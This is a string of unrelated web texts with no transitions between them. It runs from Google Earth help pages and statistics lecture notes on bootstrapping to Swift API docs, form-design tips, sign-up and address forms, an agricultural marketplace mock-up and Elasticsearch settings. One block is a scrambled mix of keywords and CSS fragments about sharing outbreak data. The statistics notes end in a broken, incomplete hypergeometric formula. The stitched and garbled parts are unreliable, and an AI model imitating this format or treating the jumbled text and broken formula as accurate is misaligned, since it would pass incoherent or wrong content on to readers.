your Gmail account. If you use your Gmail account, you will be prompted to sign in if you
have not already.
Before selecting your email service, select the Remember this setting... check
box if you want to use the same email service every time you email a view. You can
always change your email preferences later by selecting Tools >
Options > General (Windows/Linux) or Google Earth >
Preferences (Mac) and clicking on the General tab.
- Wait while the Google Earth software sends the data to your email application. A new
email window appears with the image file. (This can take a few seconds.) The image is a
JPG file of the current view in the 3D viewer.
- Fill in the recipient's email address and any other information in the body and send
the email.
When you email an image, the quality of that image is identical to the quality available
for the Save Image feature in Google Earth.
Emailing Places Data
Note - On the Mac, you can only email through the Mail, Eudora and
Entourage applications.
In addition to emailing a view as a KMZ file to other users of Google Earth, you
also can email places data in two other ways:
- Attach a KMZ file or folder saved to your computer's hard drive to an email. If you
followed the instructions listed in Saving Places
Data, locate your saved KMZ file and attach it to an outbound email as you would with
any attachment.
- Email a placemark that is centered in your 3D viewer directly from Google Earth (see
below).
To email places data:
- Do one of the following:
- Click File > Email > Email Place .
- Type Ctrl + E (+ E on the Mac)
- Click on the email icon on the toolbar and choose Email Place.
- Right click (CTRL click on the Mac) the appropriate placemark in the Places panel and
choose Email.
- In the Select Email Service window, choose your default email program or
your Gmail account. If you use your Gmail account, you will be prompted to sign in if you
have not already.
Before selecting your email service, select the Remember this setting... check
box if you want to use the same email service every time you email a view. You can
always change your email preferences later by selecting Tools >
Options > General (Windows/Linux) or Google Earth >
Preferences (Mac) and clicking on the General tab. Wait while the
Google Earth software sends the data to your email application. A new email window
appears with the KMZ file. (This can take a few seconds.)
- Fill in the recipient's email address and any other information in the body and send
the email.
Things to consider:
- When you email KMZ files that reference custom icons or image overlays from your
local file system those items are included with the placemark data. For this reason, KMZ
files that include imagery overlays might be larger than those containing a simple
placemark.
- If you are sending a placemark file to a user of a Google Earth (Keyhole) client
version 2.2 or lower, the recipient will not be able to view the placemark. The file
format for placemarks has changed for Google Earth versions 3.0 and higher. Send an image
file instead.
Troubleshooting Email Issues
Note - On the Mac, you can only email through the Mail, Eudora and
Entourage applications.
If your email application does not respond to the Email View command, you may
need to set the default email program. To do this in Windows, open the Control
Panel from the Start menu and select Internet Options. Click the
Programs tab, select the default email program that you use from the
E-mail drop-down list, and click Apply. You should now be able to send
a view with your email application. To do this on a Mac, open Mail. Click Mail >
Preferences. Pick the email application you'd prefer as your default email handler.
Sharing Data Over a Network
In addition to saving placemarks or folders to your local computer, you can also save
place data to a web server or network server. Other Google Earth users who have access to
the server can then use the data. As with other documents, you can create links or
references to KMZ files for easy access. Storing a placemark file on the network or on a
web server offers the following advantages:
-
Accessibility - If your place data is stored on a network or the Web,
you can access it from any computer anywhere, provided the location is either publicly
available or you have log in access.
-
Ease in Distribution - You can develop an extensive presentation
folder for Google Earth software and make that presentation available to everyone who
has access to your network storage location or web server. This is more convenient than
sending the data via email when you want to make it persistently available to a large
number of people.
-
Automatic Updates/Network Link Access - Any new information or changes
you make to network-based KMZ information is automatically available to all users who
access the KML data via a network link.
-
Backup - If for some reason the data on your local computer is corrupt
or lost, you can open any of the KMZ files that you have saved to a network location,
and if so desired, save it as a local file again.
Note: Before you can create a network link to an item in Google Earth,
you must first store that place data on a server.
This section covers the following topics:
Saving Data to a Server
To make your placemarks or folders available to other people via a server, you need to
first save the file to the appropriate location.
-
Network Server - To save a folder or placemark to a location on your
network, simply follow the steps in Saving Places
Data and save the file in a location on your company network rather than to your
local file system.
-
Web Server - To save a placemark or folder to a web server, first save
the file to your local computer as described in Saving
Places Data. Once the file is saved on your local computer as a separate KMZ file,
you can use an FTP or similar utility to transfer the file to the web servers.
If you want users to be able to open KML and KMZ files from a web server, you may need to
add MIME types for the server. These are:
- application/vnd.google-earth.kml+xml kml
- application/vnd.google-earth.kmz kmz
Opening Data from a Network Server
If you are working in an organization where place data is saved to a network that you
have access to, you can open that data in the same way you would open a saved KMZ file on
your local computer.
-
From the File menu, select Open (Ctrl + O in Windows/Linux, + O on the Mac) - Navigate to your network places and locate the KMZ or KML
data you want to open in Google Earth. Select the file and click the Open
button. The folder or placemark appears in the Places panel and the 3D viewer
flies to the view set for the folder or placemark (if any).
Files opened in this way are NOT automatically saved for the next time you use
Google Earth. If you want the placemark or folder to appear the next time you use
Google Earth, drag the item to your My Places folder to save it for the next
session.
-
Locate the file you want to open - Once you have located the file on
your network places, you can simply drag and drop the KMZ file over the Places
panel. The 3D viewer flies to the view set for the folder or placemark (if any).
When you use the drag-and-drop method of opening a placemark or folder, you can drop
the item over a specific folder in the Places panel. If the My Places
folder is closed and you want to drop it there, just hold the item over the My
Places folder until the folder opens up and you can place the item within
subfolders or in the list. Items dropped in the My Places folder appear the
next time you start Google Earth. Otherwise, you can drop the item in the white space
below the Places panel so that it appears in the Temporary Places
folder. Items opened this way appear only for the current session of Google Earth
unless you save them.
About Network Links
The network link feature in Google Earth provides a way for multiple clients to view the
same network-based or web-based KMZ data and automatically see any changes to the content
as those changes are made. A network link allows for content publishing in a manner
similar to web page/web browser content delivery:
-
A network link provides a way to deliver dynamic data to multiple Google Earth
users. When users connect to your KMZ file via a network link, either you or
they can specify how often to refresh the data in the file. This way, regular updates
made to the content by one person are automatically reflected in all connected clients.
-
A network link is intended as a view-only reference to published
content. Just as web pages are viewed by many people but only modifiable by
those with permission, place data content can be linked to and seen by multiple users
while set to be modifiable only by one author. As with web pages, users who are viewing
the content can always save that content to their hard drive, but they can only receive
dynamic content via a network link.
The following figure illustrates the parallels between web-based content and KMZ content
via a network link using Google Earth.
Creating a Network Link
Before you can create a network link, the content you
want to link to must exist on the network or web server that you are linking to. If you
are authoring the content, see Saving Data to a Server for
details about saving KMZ files to a web or network server. If you are only linking to the
content, be sure you know either the network location of the file or the URL if it is
located on a web server.
- Choose any one of the following ways to start:
- Select Network Link From the Add Menu. Select Network
Link from the pop-up menu.
- Right-click (CTRL click on the Mac) on a folder in the My Places Panel.
Select Add > Network Link from the pop-up menu. When you add a network
link in this way, the selected folder is automatically set as the container for the
network link.
The New Network Link dialog box appears. Enter the name of your link in
the Name field. Enter the full path of the KMZ file in the Link
field, or browse to the file location if the file is located on a network. You can use
a URL to reference the KMZ, such as http://www.test.com/myKMZ.kmz. The 3D
viewer immediately flies to the default view for the linked data.
- Enter descriptive text or HTML.You can enter this data in the same way you would for
a regular folder. See Editing Places and Folders for more
information.
- (Optional) Click the View tab to change the default view that this network link
presents to users. Click Snapshot current view to use your current view in
Google Earth. If your network link has more than one placemark, click Reset to
display all these placemarks to users.
Note - The text you enter in this description is your description of the
link only and is not viewable by anyone else linking to the KMZ file. Only you will be
able to see the description you enter here (unless you email your link folder to other
people). This is similar to creating a bookmark for a web page and then adding a
descriptive note about the bookmark.


Last updated: 2018-04-16
Code version: 899ad0d
Tutor: Cas Kruitwagen
Drawing random samples from sample with replacement.
Gives estimate of sampling distribution of sample statistic
For other statistics than mean, bootstrapping can give an idea of the bias in the estimator and variance of sample statistics
Bootstrapping gives estimates based on the sample distribution.
Is good as long as the sample is large enough and i.i.d.
For biased statistics: the bias that you see in boostrapping distribution, is around the same as for the actual sample distribution
Difference between mean in bootstrapped samples and sample mean reflects the bias. I.E. the difference between sample statistic and true population parameters.
Bootstrapping also gives an idea of the standard error
Do independent bootstrapping in both populations
Log-transform will give confidence intervals for ratio (\(e^{a-b} = \frac{e^a}{e^b}\)) of the geometric means (not the arithmetic mean).
It works OK for getting p-value (stays pretty much the same). Confidence interval is not informative of what you want to know.
Use bootstrapping for confidence interval. p-value can be ‘calculated’ by looking at the coverage for which the CI includes thu null-value
Make sure you keep the pairs together
E.g. bootstrap the differences
R already uses Fisher’s-Z transformation for confidence intervals. Accounts for skewness
Fisher’s Z-transformation assumes bivariate normal distribution.
Bootstrapping does not require the normal assumption
Estimate bias by \(mean_{boot} - t_0\) where \(t_0\) is the sample statistic Estiamte standard error of sample distribution with \(sd_{boot}\)
Assume normal distribution of bootstrap samples
\[t_0 - bias \pm Z_{\alpha/2}*sd_{boot}\]
Get confidence interval by:
\(t_0 - (high_percentile - t_0)\); \(t_0 - (low_percentile -t_0)\)
This takes care of bias for asymmtric cases
Asymmetry must reflect the bias
For symmetric distributions, this reduces to regular percentile method
I uses the percentile method, but \(\alpha\) is not eveny divided over the two sides
Bootstrapping usually gives a little too low coverage
Normally in statistics, you assume a null-hypothesis distribution for the test statistic.
What if your sampling distribution is unknown?
Bootstrapping distribution is constructed from the observerd data, and this might not conform to the null hypothesis.
Even if data come from null-distribution, then there could still be bias (e.g. different mean in sample)
Permutation test: randomly permute the classification.
For paired data: keep pairs together, permute observations within an individual
This gives a sampling distribution under null-hypothesis.
One-sided p-value is just the fraction of permutations under which the observed statistic is the same or more extreme
The number of possible permutations is \({n_1 + n_2}\choose{n_1}\) for 2 groups Number of possible permuations for \(n\) observations of paired data is \(2^n\)
If the number is low, it could be you never get a significant results If this becomes very high, just take a random sample of possible permutations ‘random sample’ is more like a ‘randomization test’ rather than ‘permutation test’.
Purmutation is a form of resampling without replacement
Mann-Whitney test for 2 independent samples. Is a permutation test of the ranks of all observations. Sampling distribution of the sum of ranks of the smallest group is determined.
Observed rank sum is compared to sampling distribution, p-value is calculated For large data: don’t calculate all permutations but assume normal distribution of test statistic
Permute individual table entries randomly, keeping marginals the same.
Famous lady tasting tea experiment. Guess if tea was added first, or milk. Lady knows the marginal distribution: n1 are milk first, n2 are tea first. Test statistic: number of “tea first” correct
For this test, you don’t need to get distribution from all permutations, the distribution is known: hypergeometric distribution
\[P(R = r) = \frac{{n_1}\choose{r}{n_2}\choose{}}\]
sessionInfo()
R version 3.4.3 (2017-11-30)
Platform: x86_64-apple-darwin15.6.0 (64-bit)
Running under: macOS Sierra 10.12.6
Matrix products: default
BLAS: /Library/Frameworks/R.framework/Versions/3.4/Resources/lib/libRblas.0.dylib
LAPACK: /Library/Frameworks/R.framework/Versions/3.4/Resources/lib/libRlapack.dylib
locale:
[1] en_US.UTF-8/en_US.UTF-8/en_US.UTF-8/C/en_US.UTF-8/en_US.UTF-8
attached base packages:
[1] stats graphics grDevices utils datasets methods base
loaded via a namespace (and not attached):
[1] compiler_3.4.3 backports_1.1.2 magrittr_1.5 rprojroot_1.3-2
[5] tools_3.4.3 htmltools_0.3.6 yaml_2.1.16 Rcpp_0.12.15
[9] stringi_1.1.6 rmarkdown_1.8 knitr_1.19 git2r_0.21.0
[13] stringr_1.2.0 digest_0.6.15 evaluate_0.10.1
This R Markdown site was created with workflowr


General election 2019: Question Time leaders special – video highlights
by BBC Question TimeBoris Johnson, Jeremy Corbyn, Jo Swinson and Nicola Sturgeon each answered 30 minutes of questions from a live audience in Sheffield during the BBC's Question Time.
This is the first time in this election campaign that the four leaders of the main parties – Conservatives, Labour, Liberal Democrats and the Scottish National party – have been quizzed together


DailyEntryDial
Undocumented
-
Goal instance var, is loaded through NSUserDefaults and contains daily water goal
Declaration
Swift
var _goal :Float = 0
-
Current amount of water that the user drank today public property (readonly)
Declaration
Swift
var currentAmountOfWaterDrankToday :Float
-
Line width for the 2 overlapping circles in the gauge
Declaration
Swift
private let _circleLineWidth :CGFloat = 20
-
Center label displaying the amount of water that the user drank
Declaration
Swift
private let _currentAmountOfWaterDrankTodayLabel = UILabel()
-
Shape layer that displays in a circle form how much water the user drank
Declaration
Swift
private let _outerCircleShapeLayer = CAShapeLayer()
-
Shape layer that displays in a circle form how much water the user drank
Declaration
Swift
private let _innerCircleShapeLayer = CAShapeLayer()
-
Undocumented
-
Undocumented
-
Makes the background always transparent
Declaration
Swift
override func layoutSubviews()
-
Sets the goal from NSUserDefaults and sets up properties for subviews
Declaration
Swift
override func drawRect(rect: CGRect)
-
Setup for the outer circle that is always displaying to show how much water is needed to drink before reaching goal. Setup using a border
Declaration
Swift
private func setupOuterCirclePath()
-
Sets up the inner circle path that will represent how much water was drank today. Starts at 0
Declaration
Swift
private func setupInnerCircleShapeLayer()
-
Undocumented
-
Helper function to convert degrees to radians
Declaration
Swift
private func degreesToRadians(degrees :CGFloat) -> CGFloat
Parameters
degrees
Degrees value to convert
Return Value
Radian value converted from degrees
-
Sets up the properties for the center label
Declaration
Swift
private func setupLabel()
-
Undocumented
-
Changes the value for the amount of water drank
Declaration
Swift
func updateAmountOfWaterDrankToday(animated :Bool)
Parameters
animated
Should the dial gauge animate on change


What I do, I do it well. Well done, and well played are what is done - by me. It's what I do.
Just about anything New Mexican (which is the 'real' Mexican), oh and Lox and Bagels my soul food!
I enjoy informing people through the medium of HTML & CSS
Making pages come alive with JavaScript is a real thrill!
Presenting data using PHP & SQL, gives insight into the questions we ask


Welcome to Powerful Point! You can start learning about presentations by searching for a topic. Enter your query in the box below. Alternatively, use the table of contents on the left side of the page to navigate the content. Happy learning!
{{chapter.summary}}
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque at lacus egestas, semper justo ut, porttitor mauris. Fusce vel justo neque. Morbi et turpis id metus placerat pulvinar.


Connecting
Have you tried using any of the insight and techniques for growing trust and sincerity? How did it go?
Yes, upon trying to gain trust and sincerity during a converstion, I felt that the other person was able to open up more than she usually does. Not just that but I was more receptive to his views and ideas too.
Try empathic listening - how did it go?
While performing this listening execise, I kept trying to put myself in the listener's shoes and also kept reminding myself that this person is just like me. That helped me really understand how she must be feeling as she spoke the words. Although some of her ideas didn't match my own views, yet I was happy to hear them and later discuss them. At the end of the process, the speaker seemed touched by how well I was able to understand not just her words but also how she felt. She also liked that even though I disagreed on some of her views I didn't interrupt her right away and tried to understand things from her perspective.
How did you find the loving kindness meditation?
Just like other meditations it had calming effect on me but in addition it also made me happy. Thinking of happiness of a closed one throughout the meditation filled me up with immense love, joy and kindness.
Complete the political awareness exercise here in writing.


Note: you must provide your "watchlist token", which can be found at the bottom of your preferences page, under the "watchlist" tab, after logging in. If you change the wiki below, be sure you grabbed the right watchlist token!
Note: currently only supports *.wikimedia.org and *.wikipedia.org domains.
Auto-close notification after seconds (0 to keep open)
Update from server every minutes (minimum 5).
Show revisions in the pop up.
Based on a Chrome extension for The Old Reader by knyar. See theoldreader-chrome.


Sign Up to start shopping discounted merchandises instantly!
Sign Up
All set up!
You can start shopping now!
Sign up
Please enter your email
Please enter your password
Sign Up
X


Basing your form design on a customer's perspective is the way to make forms clearer and easier to use. A user should not be forced to adapt to a business process. Good form designs, and therefore higher conversion rates, come from testing with and understanding the context of your users.
There is no silver bullet for form design, it depends on what you are trying to achieve based on business goals, user needs and context.
Principles
- Reduce the inconvenience - keep forms as simple and easy-to-use as possible. Get rid of visual clutter.
- Show the path to completion - make the steps to accomplishing the goal clear
- Consider the context - what is the form being used for? How will it be used? Who is using it? Will they be using a mobile? An application form will differ from a marketing email form
- Keep form communication consistent - think of a form as a conversation that your customer has with your brand.
Logical groupings
Split up longer forms into logical groups to help with scanning using a minimal visual information to distinguish the group, such as a subtle background colour.
Label alignment
There are advantages and disadvantages to both top-aligning and left-aligning form labels. In most instances top-aligned labels tend to reduce form completion times.
The tradeoff is that they take up more vertical space. Sometimes you want to slow users down when filling in an important form. In these instances a left-aligned label may be better.


PhoneBook Class
Definition
Line
4
of
phonebook/phonebook.cm
Constructors & Destructor
static
PhoneBook
()
private
PhoneBook
()
Member Functions
public
int
GetNumber
(
const
String
<
uchar
>& name)
const
public
static
PhoneBook
&
Instance
()
Member Variables
private
static
UniquePtr
<
PhoneBook
>
instance
private
Map
<
String
<
uchar
>,
int
,
Less
<
String
<
uchar
>>>
map
Constructor& Destructor Details
PhoneBook Static Constructor
static
PhoneBook()
Definition
Line
6
of
phonebook/phonebook.cm
PhoneBook Constructor
private
PhoneBook()
Definition
Line
22
of
phonebook/phonebook.cm
Member Function Details
GetNumber Member Function
public
int
GetNumber(
const
String
<
uchar
>& name)
Definition
Line
13
of
phonebook/phonebook.cm
Instance Static Member Function
public
static
PhoneBook
& Instance()
Definition
Line
9
of
phonebook/phonebook.cm


Agrikore Market Place
Making Market Work
EBUBE HARRISON
Naira Balance : N 200,300.00
Mula Balance : N 20,800.00
BUY MULA FROM WALLET
REGISTER PRODUCE
Select Produce
Select Quantity
Enter Price
Select State
Select LGA
Enter Community
SELL PRODUCE
Select Produce
Enter Quantity/Bag
Enter Price
Select State
LIST OF OUR PRODUCE BUYER CLOSE TO YOU
| Name | Location | Submit Request |
|---|---|---|
| Abdul Umar | No 3 Abudsalam Creasent Yunusari Lga | |
| Jibril Danladi | road D Goverment Road behind tuduwada Karii Lga | |
| Maruf abduraman | 54 gwagwanki street Berger Road Kwanu lga | |
| Sule Ibrahim | 182 sanusi Creacent opposite Central mosque ado lga |
Register Produce
Click here to Register Produce
Sell Produce
Click here to Sell Produce
Access Input
Click here to Access inputs
Access Loans
Click here to Access Loans


data []. sharing open Ebola Health {border-style research Data Zika public px;} #ffffff;} Sharing available health Open Pathogens scientific Biology Sciences researchers science Medicine Virus emergency scientists Med. access freely make publication px; research. {font-family Life Research data-sharing font-size online outbreak virus Disease Public Sequence Viral double; emergencies. life openness peer-reviewed results sequences standards International Medical Organisms Viruses World analysis border-color border-width databases emergencies including journals published recent share shared solid; {font-style {font-weight Centers Control Fever Flaviviruses: Hemorrhagic Microbial Microbiology Nature. ONE. Res Scientific States Techniques United Viruses: accelerate bold clinical courier; critical data, data. e./journal.pone. em; example, genetic months outbreaks pt;} release releasing response sharing. underlying used viruses


First Name:
Last Name:
Address (line 1):
Address (line 2):
City:
State:
Zip Code:
Home Phone:
Work Phone:
Email:


This setting is used by the allocation, replicas, restore, and snapshot actions.
This setting must be either True
or False
.
This setting specifies whether or not the request should return immediately or wait for the operation to complete before returning.
During snapshot initialization, information about all previous snapshots is
loaded into the memory, which means that in large repositories it may take
several seconds (or even minutes) for this command to return even if the
wait_for_completion
setting is set to False
.
The default value of this setting differs for each action. The default for the
allocation and replicas actions is False
. The
default for the restore and snapshot actions is True
.